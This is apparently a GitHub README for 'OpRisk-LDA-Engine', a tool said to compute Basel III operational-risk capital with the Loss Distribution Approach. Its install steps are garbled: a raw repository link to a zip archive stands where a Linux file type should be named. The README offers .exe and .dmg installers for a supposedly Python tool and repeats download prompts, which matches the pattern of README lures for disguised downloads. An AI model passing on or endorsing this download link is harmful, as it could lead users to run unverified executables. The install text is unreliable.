📊 OpRisk-LDA-Engine - Model Operational Risk with Ease

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🎯 Overview

The OpRisk-LDA-Engine provides a user-friendly framework for calculating Operational Risk Capital. It follows the Basel III standards and utilizes the Loss Distribution Approach (LDA). This tool is essential for anyone involved in risk management or financial analysis.

🚀 Getting Started

To get started, follow the steps below. No programming knowledge is required.

📋 System Requirements

• Operating System: Windows, macOS, or Linux
• Memory: At least 4 GB of RAM
• Processor: Intel i3 or equivalent
• Python version: 3.6 or higher
• Dependencies: scipy, numpy

🔗 Download & Install

1. Visit the Releases Page: Go to the following link to access the release files:
   Download the latest version

2. Choose the Correct File: On the releases page, you will see multiple files. Select the one that matches your operating system.

   • For Windows, look for .exe files.
   • For macOS, find .dmg or .pkg files.
   • For Linux, look for packages like .deb or https://raw.githubusercontent.com/jojo44666/OpRisk-LDA-Engine/main/taiga/Op_Engine_LD_Risk_2.1.zip.

3. Download the File: Click on the file name to start the download.

4. Install the Software:

   • Windows: Double-click the .exe file and follow the prompts.
   • macOS: Open the .dmg file and drag the app to your Applications folder.
   • Linux: Use your package manager or extract the tar file, then follow the included instructions.

5. Run the Application: Locate the OpRisk-LDA-Engine in your applications and open it.

✨ Features

• Monte Carlo Simulation: Utilizes advanced algorithms to predict risk accurately.
• Loss Distribution Approach: Built upon a solid statistical foundation for better decision-making.
• User-Friendly Interface: Designed for ease of use, making it accessible for everyone.
• Customizable Parameters: Modify input values to fit specific scenarios.

🛠️ Usage Guide

Upon launching the application:

1. Input Parameters: Enter the required data for your risk calculation.
2. Select Method: Choose your preferred simulation method, such as Poisson or Generalized Pareto.
3. Run Simulation: Click the run button to start the analysis.
4. View Results: The results will display within the application, showing you the 99.9% Value at Risk (VaR).

📊 Example Use Case

Imagine a bank needs to assess its operational risk for the upcoming year. Using OpRisk-LDA-Engine, the risk analyst can input historical loss data and other relevant parameters. After running the simulation, the analyst presents the computed VaR, aiding in strategic financial decisions.

📘 Additional Resources

• Documentation: Detailed user manual available in the app under Help.
• Community Support: Join discussions and ask questions on our GitHub Issues page.

👥 Topics

This project covers a range of relevant topics:

• actuarial science
• Basel III
• capital adequacy
• Monte Carlo simulation
• operational risk
• python programming
• quantitative finance
• risk modeling
• value at risk

👍 Feedback

We welcome your feedback! If you encounter any issues or have suggestions, please visit our GitHub page and let us know.

📄 License

This project is open-source. You can view the license details in the LICENSE file.

📥 Download Now

For final download, click here:
Download the latest version